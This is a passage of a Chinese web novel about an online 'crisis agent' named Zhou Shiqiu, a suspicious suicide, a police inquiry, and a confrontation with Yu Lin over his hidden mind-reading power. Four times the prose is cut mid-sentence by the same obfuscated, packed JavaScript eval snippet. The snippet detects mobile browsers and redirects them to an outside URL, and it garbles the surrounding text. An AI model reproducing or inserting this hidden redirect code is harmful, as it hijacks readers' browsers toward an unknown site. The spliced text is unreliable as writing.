电话那端的确是常华的声音,说的话有些丧失理智,语气却又十分平静,不免产生一种莫名割裂的感觉。 “你……想什么呢?” 周拾秋缓缓发出疑问,她嗅到了一丝危险的气息,心仿佛被一根线提到了嗓子眼,一个想法在脑中盘旋不散——对面好像不止常华一人。 “我不想再受良心的谴责了,好累,我做了错事,就该受到应有的惩罚。” 常华以木讷的语调说着消极的话,说完便挂掉了电话。 周拾秋再次打过去,对面又进入了无人接听状态。 一股强烈的预感滋生出阵阵凉意,逐渐渗透进皮肤里,她思考了片刻,迅速登录了危机管理局,找到夜猫子,发送了私信。 【乌鸦:@夜猫子常华出事了,知道他在哪儿吗?速去看看!】 这是她唯一能做的事了。 上一次,进化者找上常华,最终因为朋友突然登门而被迫消失,那么这一次,或许还有机会…… 在等待夜猫子回复的时间里,周拾秋胡思乱想了许多。 为何凶手会盯上常华呢? 这点确实奇怪,此前只听说自由区的理想者被害,禁仿区一直风平浪静。 而且,凶手如何得知危代人的信息? 一想到这个问题,就不得不回到另一个一直让周拾秋百思不得其解的谜题——凶手挑选受害人的标准是什么? 还有,凶手是如何做到来无影去无踪的? 这样的思考其实只在须臾之间,因为夜猫子一到晚上就像住在危机管理局一样,一看到周拾秋的消息,便发来几个问号。 【夜猫子:???】 【夜猫子:鸦神,咋了?你夜观星象,算到我兄弟有一劫?哈哈哈,别逗了,我兄弟好好蹲家喃,能出什么事?】 【夜猫子:等等,你这回不会是想打听我兄弟住处了吧?这么隐私的事,可没那么便宜!】 看着屏幕上不停冒出来的文字,周拾秋一阵心梗,不禁又要为常华有这样一位朋友而感到遗憾,可眼下也没人能帮上忙,她只能忍住骂人的冲动,与之交涉。 【乌鸦:我不想知道,你先去常华家看看!】 【夜猫子:这么晚了,打车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034440|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要钱么?】 【乌鸦:……上回一个电话号码你卖了我3千,还不够你打车?】 【夜猫子:那我替你去看看,你总得给点跑腿费吧?】 【乌鸦:替我?你真是……哎……200!】 【夜猫子:500。】 【乌鸦:就200,不去拉倒,我睡了。】 【夜猫子:200就200,先给钱!】 周拾秋以退为进,总算说服了这个贪财鬼,急匆匆汇了款,收到钱的夜猫子便如约出了门。 只是周拾秋不知道,夜猫子收了钱就在笑她是大傻子。 自从因嘴大在聊天大厅说了常华的事被封号一个月后,夜猫子一直苦于没了收入,万幸遇上个主动联系他的大冤种,他狠狠敲了一笔。 其实常华是他表哥,就住在他家楼下。以前常华寄住在他家,后来通过危机管理局赚了钱,买了楼下的房子,独自搬了出去。 同样都靠危机管理局赚钱,偏偏常华走了狗屎运,签下私危协议,赚的钱超他十倍不止。 这件事让他眼红了许久。 好在,常华没风光多久,就出了委托人自杀案,而常华也成了嫌疑人,夜猫子觉得这就是表哥得意的下场。 夜猫子看着轻松到账的200露出奸诈的笑,踩着拖鞋出了门,坐电梯下了楼,然后按响了常华家的门铃。 不过几步路的事,就能轻松到手200,傻子的钱果然好赚。 门铃响了许久也不见常华来开门,屋里也没听见回应声,夜猫子心下奇怪:“难道出门了?不应该啊……” 疑惑中,夜猫子拿起手机拨打了常华的手机号。 安静的楼道里,一阵铃声隐约从房里传了出来,听得并不真切,夜猫子便将耳朵贴到门上,果然那铃声稍微清晰了一些。 常华应该就在家里,并没有出门。 人在为什么不开门,也不做出任何回应呢? 睡着了?那睡得也太死了,常华最近神经兮兮,按理睡得不沉。 原本轻松愉快的气氛瞬间沉寂,回想起乌鸦说的话,一种不好的预感开始占据了大脑,莫非真出什么事了? 夜猫子不敢再耽误,想起表哥留了把备用钥匙在他家,于是手忙脚乱往楼上跑,跑得拖鞋都飞了,他干脆提着拖鞋光着脚,回家翻箱倒柜找钥匙。 一顿翻找吵醒了已然睡下的父母,他也顾不上解释,就说去看看表哥情况。 看他慌张的模样,父母也不由得紧张起来,找到钥匙便跟着他下了楼。 用钥匙开锁进门,房间里漆黑一片,一盏灯都没开,夜猫子唤了两声“表哥”,依然无人应答。 父母开了灯,房间里一切如常,三人径直走到卧室门口,只见房门虚掩着。 夜猫子咽了咽口水,用颤抖的手推开了房门,借着客厅里的灯光,可以看到床上躺着一个人。 下一秒,夜猫子头上挨了两巴掌,父母怒气冲冲地瞪着他,嘴里骂道:“你表哥在睡觉呢,你小子大晚上不睡觉,神神叨叨来你表哥家发癫?没事做不如好好找个班上!” 被父母劈头盖脸教育一顿,夜猫子一脸憋屈,嚷嚷着自己也是被人骗了。 当父母揪着他的耳朵将他往屋外拽时,他才发觉不对劲,三人这般吵吵嚷嚷,可卧室里没有一点动静。 原本放松的神经猛地绷紧,他制止住父母的吵嚷,伸手打开了卧室里的灯。 突然亮灯的房间里,常华依旧一动不动躺在床上,一只手耷拉在床沿,一个药瓶倒在地板上,瓶身开裂,瓶里残留了少许液体,顺着裂缝在地板上留下了一团污迹。 夜猫子浑身一颤,声音由低到高喊了几声“常华”,床上的人毫无反应。 他只得壮着胆子,伸手摇了摇常华的身子,同样没醒。 常华面白如纸,嘴唇乌紫,看上去像是沉沉睡了过去,可夜猫子感觉没听到呼吸声。 他慌忙探手到常华鼻下,指腹没有丝毫气流触感,人已经没了气。 床头柜上躺着一张手写信,题目写着“遗书”二字。 73. 第073章 等待最是难熬,自从说服夜猫子上门去看常华的情况后,便没了下文。 周拾秋坐在床上左等右等,心里计算着夜猫子去找人可能需要花费的时间,以及可能会出现的结果。 就夜猫子如此贪婪的性格而言,200能使唤他出门,大概率他距离常华不会太远,否则他大概率宁可谈崩,也不可能让自己吃亏。 不过到底有多近,周拾秋不清楚,保守估计路程十分钟内。 而等他到了常华家,如果常华无事,那夜猫子极有可能第一件事就是逮着她一顿臭骂,然后扬言要她付什么精神损失费之类。 如果常华出事了,则有两种情况。 一种是像上回一样,及时赶上,常华逃过一劫,那夜猫子总该质疑她为何能知晓,铁定发私信质问。 另一种是没能救下常华,那夜猫子更会怀疑她,必然私信轰炸,要她作出解释。 然而时间过去一个多小时了,周拾秋依然没有收到夜猫子的消息。 周拾秋甚至想过,会不会被骗了,夜猫子收了钱却不做事,将她这个大冤种晾在一边。 “啧,是不是该直接控制他去……” 心中后悔不已,周拾秋小声念叨。 又等了半小时,周拾秋再次发私信询问情况如何,依旧没有消息。 心中不安的情绪就跟发酵了似的,味道愈发浓烈,犹豫了好一会儿,她最终走出房间,敲响了隔壁房门。 十分钟后,周拾秋将今夜发生的所有事交代完毕,心中的焦虑因找到分担的对象而减轻了几分。 齐绮听完后,果断换上了常服。 “你要出门?去哪儿?”周拾秋疑惑地盯着齐绮。 “傻秋,如果常华真出事了,你觉得那夜猫子第一件事会做啥?”齐绮反问。 周拾秋困惑地摇了摇头:“不该告诉我一声吗?” 齐绮:“你一个外人能知道出事了,他难道不怀疑?” 周拾秋点头表示理解:“我也想到了,可他也没找我问。” 齐绮:“他很可能会报警。” 霎时间,周拾秋明白为何齐绮要换衣服,原来她是做好了被警方调查的准备。 “对不起啊,我又给你惹麻烦了……”周拾秋一脸愧疚,焦虑地咬着手指。 齐绮带着一抹温柔的笑,抓住周拾秋的手指,打断了她下意识的行为,安抚道:“没事,你只是觉得常华说的话有些怪异,出于关心,我如实跟警方解释就行。” “那要说进化者的事吗?”周拾秋问。 齐绮思考了片刻,同样有些为难,“不太好说,我看情况吧。” “嗯。”周拾秋感激地点头,只觉有个可靠的朋友,心中焦虑骤减。 正如齐绮猜测,大约过了十来分钟,齐绮就收到了北区警局的配合调查通知,她没让周拾秋同去,独自一人出了门。 周拾秋回房更睡不着了,原本只等庾林那边的调查结果,现在两边的结果都让她不安。 好在齐绮这边调查很快就结束了。 凌晨2点,齐绮回到了花店,周拾秋听到开门声,从床上一跃而起,拖鞋都来不及穿,径直往楼下跑去。 “怎么样?”她站在楼梯上望着齐绮。 齐绮一边打着呵欠,一边往楼上走,路过周拾秋身边时,指着周拾秋的光脚骂了一声,让她滚回去穿鞋。 周拾秋哪儿有心思管鞋,厚着脸皮缠上齐绮,晃着齐绮的胳膊,问东问西。 齐绮一脸无奈,在客厅沙发上坐下,简单说明了去警局发生的事。 情况跟她们预想的差不多,常华的确出了事,被亲属发现在家服毒自杀,身旁还留有遗书。 遗书上交代了他心生歹意,杀害了协议委托人,并伪造成自杀的全过程,可惜因为警方介入调查,他没能拿到遗产。 杀人后,常华整日陷在良心的谴责中,好像一直能看到死者的鬼魂,一日未曾安睡,精神被折磨得不成样。 最终,他无法忍受这样的痛苦,选择走上了绝路。 当晚,亲属发现时,常华已经没了呼吸,他们当场报警,据其表弟交代,曾在事发前,收到其他危代人的危险提示,因此,警方向这位危代人发起了调查审问。 齐绮作为乌鸦账号的实名持有者,自然收到传唤通知。 她去警局提供了常华主动联系的证据,加上电话中常华的异常表现,因此在不知对方更多信息的情况下,选择向其朋友发出风险提示。 这一切都说得通,因此警方并没表示怀疑,不过警方提出了另一个疑问,让齐绮慌了神。 问话的警官说:“有人说,你曾花3千购买了常华的联系方式,这又是怎么回事?” 是啊,怎么听怎么可疑,怎么会有大冤种花这么多钱,只为获得一个联系方式呢? 当时齐绮脸上保持着微笑,心里已经把周拾秋骂了千遍万遍。 如果真要说缘由,那话可长了,还得从周拾秋遭遇进化者杀人那个晚上讲起,可进化者的话题不是什么都能说,还要顾及到此前在西区警局做的笔录。 这可把齐绮愁了好一会儿,幸好当时的证词她都还记得,于是给警官讲了一个好长的故事,听得警官眼皮都在打架了。 最后,齐绮一脸欲哭无泪的可怜样,总结陈词道:“哎,网上说什么的都有,还怀疑我为钱杀人,我心里苦啊,就想着找个同病相怜的人说道说道,所以就想到之前有人在聊天大厅爆料的事了嘛。” 一番声情并茂的表演后,齐绮顺利离开了警局。 不过离开前,她探了探警方的口风。 原本常华这个案子打算以自杀结案,但既然涉及此前的连环凶案,他们打算移交西区警局并案调查,最终结果是自杀还是他杀,或许要等西区警局和进研所调查后再做定夺。 “好个夜猫子,收了我的钱,还倒打一耙!如果我与常华的死有关,又干嘛多此一举让他去看,真是蠢……”周拾秋嘴里嘀咕着。 齐绮说:“行了,这事就交给警方,你啊,以后别再掺和了,那伙人看样子并不好惹,如果被盯上怎么办?你有信心对付得了他们所有人吗?” 听着齐绮语气稍重的规劝,周拾秋没有顶嘴。 如果只是她一个人,事情倒不复杂,她有自信能全身而退,可如果齐绮因为她被牵连其中,能否保护好齐绮,她心中没底。 是啊,她从未想过,乌鸦这个账号是齐绮所有,如果那伙进化者真的盯上乌鸦,那齐绮便会成为目标。 此前她一心只想着百泉,倒忽略了齐绮的安危,心中不免愧疚。 “对不起,我以后不惹麻烦了,最后9天,等完成和庾木木的约定,我们就注销危代人账号,远离这些是非!”周拾秋一脸恳切。 齐绮摸了摸她的脑袋,没有任何责备,只让她赶紧回房睡觉。 再次回房躺上床,周拾秋下定决心不再纠结于案子,纠结于过去,她所要做的是经营好花店,努力赚钱,让家里过得安稳。 在这样的心理暗示下,那颗躁动不安的心渐渐安静下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037888|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,周拾秋终于睡了过去。 等再醒来,已是上午10点。 庾林一直没有消息,周拾秋抑制住自己的好奇心,也没多问。 这一整天都没有接到新的委托,不知道是被游轮上的自杀案耽搁了还是什么,周拾秋稀里糊涂地过了一天,一直到晚上时,才收到一条来自于“金主爸爸”的消息。 ——【明早9点半,到酒店接我,见新客户。】 消息内容一如既往简短,没有任何与此无关的交代,就像是庾林自己都忘了发生在游轮上的凶案。 虽然周拾秋打定主意不再过问,可潜意识里,还是希望庾林主动提起此事,然后她就被动听一听,那样就不算她主动过问了。 可惜,计划挺美好,对手不太买账。 她不主动问,庾林就不主动答,周拾秋看着手机上那简短的一行字,心中五味杂陈,半晌也没回话。 或许对面等得久了,觉察出些许异样,不一会儿,又发来一条消息,更短,只有一个字。 ——【请。】 看到这多余的一个字,周拾秋终于忍不住笑了,带着点调侃的意味,发出了回信: 【哦,好的,知道啦,孺子可教,乖!】 对面不再回话,周拾秋一想到庾林看到回信时脸都绿了,心情瞬间大好,倒是忘了好奇心未被满足的烦恼。 L463年11月30日,凌沪市迎来了这个冬天第一场雪。 气温骤降,早上7点过就出门的周拾秋缩着脖子,站在路边抓拍这雪花纷飞的清晨街景,拍了许久才终于拍到一张满意的照片。 第一时间想找人分享,本想发给齐绮,可又不愿吵醒好友,于是索性将照片发给了庾林。 这家伙,吵醒活该,她这么早出门,不正是庾林的功劳嘛! 心中这样想着,手里输入的文字便不由自主变得阴阳怪气起来。 ——【感谢庾总监,让我一大早起来,欣赏到这么美的雪景!】 对面几乎是秒回。 ——【不用谢。】 寒风带着雪花扑面而来,冷得周拾秋赶紧躲进车里,看着屏幕上那三个有些扎眼的字,周拾秋咬牙切齿。 “这个庾木木,是真没看懂,还是故意?算了算了,区区8天,我忍!” 将手机扔到副驾座上,周拾秋便迎着风雪,驱车赶往自由区,开始打工人新的一天。 在周拾秋开车驶离龛云路时,两个人影缓缓出现在花店门外,一人站立,一个坐着轮椅。 “姐姐,那个叫乌鸦的危代人就是这家花店的老板,我们要选她做下个目标吗?” “让我先看看她是不是同伴,能从你的幻觉中清醒,不像普通人。” “你怀疑她也是进化者?” “嗯,如果是同伴,那就试着拉拢,如果不是……” “嘻嘻,要杀掉吗?她的协议委托人身份可不简单,死了一定能掀起凌沪市的惊涛骇浪!” “闭嘴,要不是你和书晨多事,进研所的矛头会从暗魈转移吗?在对付这两人之前,我还得想办法替你们善后。” “我……对不起姐姐……我也是想帮你……” “行了,等我探查清楚再决定,不许再轻举妄动了你!” 轻声的怒斥被风雪吹散,两个人影也一同消失在拂晓时分,犹如藏匿于阴暗处的猛兽,收敛起利爪,等待时机,终将如这场突如其来的风雪,彻底撕碎这份静谧。 而身处在这份静谧之中的人,尚不知危险已然靠近。 74. 第074章 今日要见的是前日上游轮参加晚宴时,被庾双硬塞的客户,某富商太太,人称钱太。 因为钱先生与广臾集团有生意往来,所以庾双便想借着钱夫人有定制仿生人想法的机会,主动引荐了弟弟庾林做设计师。 真不愧是一家人,果然还是生意至上。 平日看庾双一副不许任何人接近庾林的凶悍模样,可真涉及到自身或家族利益时,不还是会让庾林迎难而上嘛。前有白馨,后有钱太。 “你这个当弟弟的,也不怎么值钱嘛。”周拾秋开着车,嘴里啧啧作响。 “做好你的保镖任务就行,其他的不用操心。”庾林轻轻摇了摇头,表情甚是无奈,谁让这是他自找的呢。 他早知每年的游轮晚宴上都是各利益团体间的应酬,往年他从不参与,今年只为了一场烟火表演,自愿参加这场晚宴,既然去了,自然就得承受相应的后果。 比如这个原本落不到他头上的定制仿生业务。 “是是是,我闭嘴。”周拾秋带着点情绪发言。 庾林觉得她今日状态与平时有些不同,忍不住借着调侃试探:“乌鸦小姐今天怎么都不问游轮自杀案的调查结果?突然变安静了,真让人不习惯。” 周拾秋眼底涌出点恼怒的火星子,又被她强压了下去,强扯着嘴角,对着车内后视镜微笑,“人总要学会成长嘛,老板没打算说的事,怎么能乱打听呢?” “乌鸦小姐受什么刺激了?不过一天时间,突然就懂事了?” 庾林嘴角抽动,有些摸不准周拾秋脑子里又装了什么东西,只能尝试从她眼睛里寻找答案,竟看出些许恐惧,还有一张脸,那张脸他见过,是常华。 周拾秋有些憋闷,心里有话却不好说出口,她不想告诉庾林,前天晚上常华出事了,而齐绮又一次因为她进了警局。 如果告诉庾林,他大概又要责怪她多管闲事吧? 于是,周拾秋将话咽了回去,用若无其事的口吻回怼:“什么叫突然懂事,你别乱说,我这不想着最后几天了,给老板留个好印象嘛。” “胡说八道的习惯倒是没变……”庾林一脸无奈,稍微顿了顿,便主动说起游轮上的案件,“那件事你不用担心,跟连环凶案无关。” 周拾秋微微一怔,总觉得庾林说这话好像是有意安慰,仿佛看出她心中焦虑的事了一样。 “谁、谁担心了,我才不在乎那些烦人的案件呢……”周拾秋嘴硬道。 “哦,是我想错了。” 庾林嘴角微微一笑,瞬间闭了嘴,扭头看向车窗外,感叹今年这雪来得早了些。 周拾秋一下被噎住,一口气堵在胸口,有些没辙。她不得不承认,挑起话题却又不说完的杀伤力,对于她那该死的好奇心,确实很强。 于是她半妥协半嘴硬地说:“看你挺想说的样子,我就勉为其难做个听众吧。” 庾林早看出周拾秋口是心非,见她尝试找台阶,便没继续捉弄,迎合道:“我确实想找人聊聊那晚离奇的经历,你愿意听,那再好不过。” 事情要从昨天凌晨5点游轮靠岸说起。 靠岸后,船上的乘客并没有第一时间下船,而是被留在房间里等待警方调查。 到现场的除了警方,还有进研所的调查专员,不过据庾林回忆,当时到场的专员并不是褚成舟和施煦,似乎是受周拾秋的检测结果影响,褚成舟被停职,连环凶案的调查便交由其他专员负责了。 听到此处,周拾秋忍不住质疑:“那为何上次去西区警局,他跟施煦会出现?” 庾林笑道:“要么赌了个信息差,要么找关系,反正都肯定是私自行动。” 周拾秋实在佩服,不过无关紧要,便匆匆略过了这个问题,让庾林继续讲下去。 进研所专员带着仪器上了船,对游轮各处进行了扫描,确实发现了异能残留。 一部分异能反应强烈,正是出自死者尸体;一部分异能反应微弱,则是遍布船舱和观光甲板各处。 令人奇怪的是死者尸体上留下的异能值,并不在进研所的记录范围内,也就意味着,对死者动手的进化者并未在此前的案件中现身,至于是不是同伙,还得详细调查后才知。 而那微弱的异能值反倒在记录之列,曾多次出现在自杀案现场,却与死者并无交集。 后来警方带着进研所专员依次走访了每个房间的乘客。一为问询证言,了解当晚究竟发生了何事;二为调查每一位乘客,确定身份是否存疑。 这一查,有人竟然沉不住气,试图偷溜下船,被一个警员抓了个正着。 那时天将亮未亮,留在房间里的乘客都焦虑地等待调查结束,忽然港口上爆发出不同寻常的动静,警方与进化者似乎打起来了。 进化者想突围,却难以招架数十人的围堵,不得已动用了异能。 “知道那人的异能是什么吗?” 周拾秋听得津津有味,一聊到进化者的异能,她恨不得把车停到路边,等听够了再走。 庾林说:“当时我的房间只能看海,看不到岸边打斗的场面,不过听其他乘客八卦,有人看到港口上的警车横冲直撞,而车上似乎没人。” “控制系啊!”周拾秋不禁感叹。 “什么系也最终难敌调查专员手里的特制武器,最后还是被制服带走了。”庾林低声道,带着些许警告的味道。 周拾秋自然知道庾林在提醒她别被进研所盯上,可见他一副瞧不起进化者的模样,心中有些不爽。 但她没有出言发难,果断略过这个细节,催促庾林继续往后讲。 那名被捕进化者的异能值与死者身上残留的异能值吻合,在落网后,对于自己杀人一事供认不讳。他与死者有私人恩怨,本想趁着最近自杀案频繁,将仇杀伪装成自杀,没想到会惊动进研所。 说到底是吃了信息差的亏,不知道每起自杀案都是进化者的手笔。 后来,进研所在警方的协助下,又调查了剩余所有乘客,没有再发现异常,他们做完笔录后,终于得以下船。 结束时,已经是当天下午5点,进化者被进研所带走,后续的情况庾林便不知情了。 听完庾林的讲述,周拾秋总觉得有哪里不对,思考了许久,终于想到那违和点在哪里,于是问道:“能上那艘游轮的都是些什么人?那个进化者你认识吗?” 庾林不紧不慢地解释:“都是凌沪市有头有脸的人物,也有外地想在凌沪开拓商业版图的企业家,相互之间大多认识。至于那个进化者,听庾双说,是个新锐导演,第一次出席晚宴,没想到还藏着这样的身份。” “那船上有没有一位年过六旬,走路弯腰驼背的老婆婆?”周拾秋问。 “嗯?你说的应该是凌云集团的老夫人,那老夫人虽然已经不过问家族事业,但她孙女最近跟夏家的继承人在谈婚事,估计为了看看未来的孙女婿,便一同参加了晚宴。”庾林答。 “她还在船上?” “在。” “没检测出异能?” “没有。” “奇怪……” “噗,那老太太我以前见过几面,很普通,走路都费劲,你觉得在船上看到的进化者是她?那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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记忆无限闪回,从第一次见面开始,两百万的债务、进化者身份、及时的施救……过往种种,总能以这样那样的理由强行解释,可隐隐的违和感一直留在周拾秋心底,直到此刻,这种违和感终于拼凑在一起。 如果没有读心异能,庾林绝无可能提起“常华”这两个字。 “你……怎么会这么想,进研所不是证明了吗?我没有什么异能……” 庾林被周拾秋锐利的目光盯得有些心虚,想要表现平静,可无法抑制的心跳正在暴露他的想法,而周拾秋显然已经注意到这一点。 此刻,周拾秋的另一只手已经缓缓覆上了他胸口,眼中怒火渐渐燃起,声音低沉却气势汹汹,“这正是我想问的,你究竟是什么人?说!” 愤怒、恐惧交织在一起,身旁这个看不透的男人让她感觉到不可控与威胁。 庾林究竟还藏着什么秘密? 五年前背刺一事不断在脑海中浮现,反复推翻她对庾林是无辜的判断。 “你最好现在就告诉我,你所隐藏的一切,否则你真的会死。” 说话间,周拾秋的眼瞳中又浮起金色的波纹,收敛着没有往外扩散。覆在庾林胸口的那只手,食指微微弯曲,一下接着一下,有节奏地轻叩,她轻声威胁,“我一直想试试,能不能控制你意识以外的部分,比如,心脏……” 庾林的意识虽然不受她的异能控制,那没有意识的部分呢? 食指的敲击逐渐变慢,而指下那颗心脏的跳动却在加速,如同被指尖操控,正渐渐崩坏中…… 75. 第075章 如果可以,周拾秋还真想试试这种思路能不能奏效,然而她的异能只是外放到眼瞳中出现金色波纹为止,并没有真正发动。 庾林这个人,不吃点苦头不会说实话,她只能寄希望于恐吓能炸出真相。 他一定有所隐藏,那莫名其妙的心病,怎么想都与进化者的诅咒相似。 抵在庾林胸口的手指,隔着层层衣服都能感觉到庾林心跳在加速,如果不是确定异能没有施放,周拾秋都要怀疑庾林的心脏被异能控制了。 看来,庾林当真被她的演技吓唬到了。 内心一阵窃笑,周拾秋表面继续维持着唬人的架势,嘴上继续威胁:“看来你也想试试?忘了我的异能还可以控制无意识的东西吗?让你的心脏自爆,你觉得怎么样?” 庾林被她拽着领口,瞳孔微微震动,眼中神色慌乱得不成样,喉结上下滚动,那震耳的心跳吵得他脑子一片空白。 过了漫长的几秒,他才逐渐意识到周拾秋究竟说了什么,回过神的庾林努力调整状态,试图让不安分的心脏冷静下来。 周拾秋嘴上虽说着狠话,行动上也充满攻击性,可与他们第一次见面时完全不一样,从周拾秋的眼睛里,庾林并没有看到杀意,只有恐惧、好奇和试探。 他甚至还看到了一场大火,而大火中的那张脸,正是他自己。 那一瞬间,庾林笑了。 不过他这一笑把周拾秋整不会了,仿佛受到了蔑视与挑衅,脑子一热,周拾秋便掐住了庾林的脖子。 不过下一秒,庾林双手抬起,一左一右撑住了周拾秋悬空的手肘,眼底带着意义不明的笑意,轻声问:“乌鸦小姐,你这姿势不累吗?” 这句话冲入周拾秋耳朵,一瞬间击溃了周拾秋努力维持的凶狠。 她现在半跪在座椅上,两只手从前排座椅的空隙向后探去,一只手揪住庾林的领口,一只手掐住庾林的脖子,腰确实有些吃力。 庾林突然扶住她的手肘,让她多了受力点,她差点想说“谢谢”。 可此情此景,显然不是互帮互助的氛围。 奇耻大辱! 周拾秋脸瞬间羞得通红,此时此刻,进退两难,放手也不是,不放手也不是,身子就这么僵硬着,连大脑都快宕机了。 庾林看出她眼底的焦灼,笑着摇了摇头,将周拾秋的手从自己脖子和胸口挪开,小心翼翼将人往前送,最终周拾秋红着脸跪坐在座椅上。 眼看着周拾秋要开口骂人,庾林赶紧打断:“先别急着骂,乌鸦小姐既然觉得我有读心异能,那我怎么可能看不出你是否真要对我动手?” 一语惊醒梦中人,周拾秋恍然大悟,先是一脸震惊,随即后悔地闭上眼,用头撞着头枕,刚撞了两下,她又忽然意识到一个问题,急忙抬起头,问:“你现在是承认有读心异能了?” 庾林淡定地靠在座椅靠背上,微微眯着眼,没有否认,开口却直接岔开了话题:“乌鸦小姐,你是不是忘了我们现在要去做什么?” “你先回答,我才走。”周拾秋坚持。 “这个话题可以等结束了再说,工作上我很守时。”庾林同样不退让。 “回答是与否浪费不了你两秒时间……”周拾秋固执道。 庾林败下阵来,无奈地叹了口气,坐起身,一脸严肃地说:“是。满意了吗?乌鸦小姐,现在可以出发了吗?” 虽然得到了想要的答案,可周拾秋总觉得心里堵得慌,一个“是”字根本解答不了心中所有的疑问,反倒把她的路给堵死了。 周拾秋欲言又止,片刻后气恼地转过身,说到做到发动了车子,继续朝目的地前进。 后座传来一阵窸窸窣窣的偷笑声,周拾秋抬眼朝车内后视镜看去,却发现庾林瞬间面无表情,悠然地望着窗外风景。 就在周拾秋暗自生着闷气时,庾林又语气平淡地抛出一句:“这件事,晚点再谈,我也有些事想问你。” 周拾秋就像嘴里突然被人塞进一颗糖,一扫心中不悦,装腔作势道:“这是你自己说的嗷,我可没逼你,说到做到,赖皮是小狗!” “哼,幼稚。”庾林轻声回道。 周拾秋几乎是飙车到了客户住处,比预定时间还早了5分钟。她一心只想赶紧结束今日的工作,然后就可以好好审问庾林隐藏的秘密,关于读心的秘密。 钱太同样住在别墅区,周拾秋将车停在停车场,下车后便跑到后座将庾林拽了出来,推着他就往出入口走。庾林一脸无奈,却也没多说什么。 恰在此时,楚君开着车驶进了停车场,远远看见庾林和周拾秋,瞬间惊慌失措,路过二人身边时,他特意停下车,脑袋探出窗外,神色紧张地说:“啊,早、好早……对不起,我来晚了,庾总监,稍、稍等,我停好车马上来。” 庾林朝楚君挥了挥手,楚君赶紧去停车。 “你心急,就会有人被迫配合你的节奏。”庾林瞥了周拾秋一眼,低声说道。 看着楚君一副担惊受怕的模样,周拾秋有些过意不去,被庾林当面指责,又多少有点不开心,可还是老实地收回了推着庾林的手。 等楚君停好车,三人汇合,在出入口登记了拜访信息,就和上一次拜访卓女士一样,坐上了别墅区专车,前往钱太的住处。 路过卓女士家门时,周拾秋忍不住询问那单生意后来怎么样了。 楚君直言:“新设计的仿生人几天前已经送货上门了,这次卓女士好像很满意,总算没再收到她的投诉了。” 周拾秋笑而不语,这件事她很难评,卓女士要的终究只是一件由她创造的产品罢了。 专车很快停在了另一栋别墅前,三人下了车,依然由楚君上前按响了门铃。 出门迎接三人的是钱太本人,楚君熟练地道明身份和来意,然后在钱太的带领下进了屋。 在这个偌大的房子里,周拾秋意外地没有看到仿生人,整个屋子里除了钱太,只有扫地机器人在地板上忘我地工作着。 钱太大约四十来岁,在优越的家境烘托下,却给人一种朴实无华的亲近感,没有高傲与区别对待,一视同仁的热情,让周拾秋对她第一印象良好。 “三位想喝点什么?” 钱太主动询问,看样子甚至要亲自为他们准备。 楚君刚坐到沙发上,听到这句话,惶恐地站起身,客气地说道:“怎么好意思麻烦您呢?钱太,您坐,我去给总监倒杯水就行。” 钱太闻言,表情有一瞬间的苦涩,转眼间又恢复热情,一边往厨房走,一边说道:“家里的事我习惯亲力亲为,你们不用在意,坐着就好,需要什么告诉我。” “温水。”庾林毫不客气地开口。 原本还想跟上去帮忙的楚君看到领导不动如山的模样,犹豫着退了回来,安分地在沙发上坐好,拘谨地说了声:“那我能来杯咖啡吗?呵呵,习惯了,每天一杯醒神。” 周拾秋举着手道:“我喝啥都行,不挑。” “好,稍等。”钱太的声音渐行渐远。 等人走得没影了,周拾秋才低声问楚君:“你们自由区的有钱人不都爱放个仿生人管家呀,仿生人女佣呀什么的在家里吗?有手有脚能照顾自己的有钱人还真少见。” 庾林扭头盯着周拾秋,漫不经心调侃道:“秘书小姐对我有什么不满?” “呵呵,不敢不敢,我这不是想多了解你们理想者一点嘛,纯属好奇。”周拾秋只怪自己嘴太快,忘了身旁还有个在她内涵之列的人,汗流浃背地找补道。 “是啊,周秘书只是好奇,肯定不是在内涵总监。”楚君帮忙说话,只是有种此地无银三百两的美感。 “钱太结婚后,就做了全职太太,兴许是个人生活经历与习惯,她做什么事都不喜欢假手于人,照顾丈夫、孩子、家里的大小事,这些都被她当成了事业。所以,听说她想定制仿生人,庾双也很意外,这才干脆推荐我帮忙,我估计她也想趁机打听隐情。” 庾林慢条斯理地介绍着自己了解的情况,周拾秋和楚君一脸认真地听着,不时点点头,不时发出由衷的赞叹。 周拾秋瞪了楚君一眼,低声骂道:“你干嘛一副才知道的样子啊?” 楚君惭愧地挠着头,笑道:“客人的隐私我哪儿好打听啊……” 就在三人窃窃私语时,钱太端着托盘从厨房走了回来,脸上带着和煦的笑,将一杯温水放到庾林面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 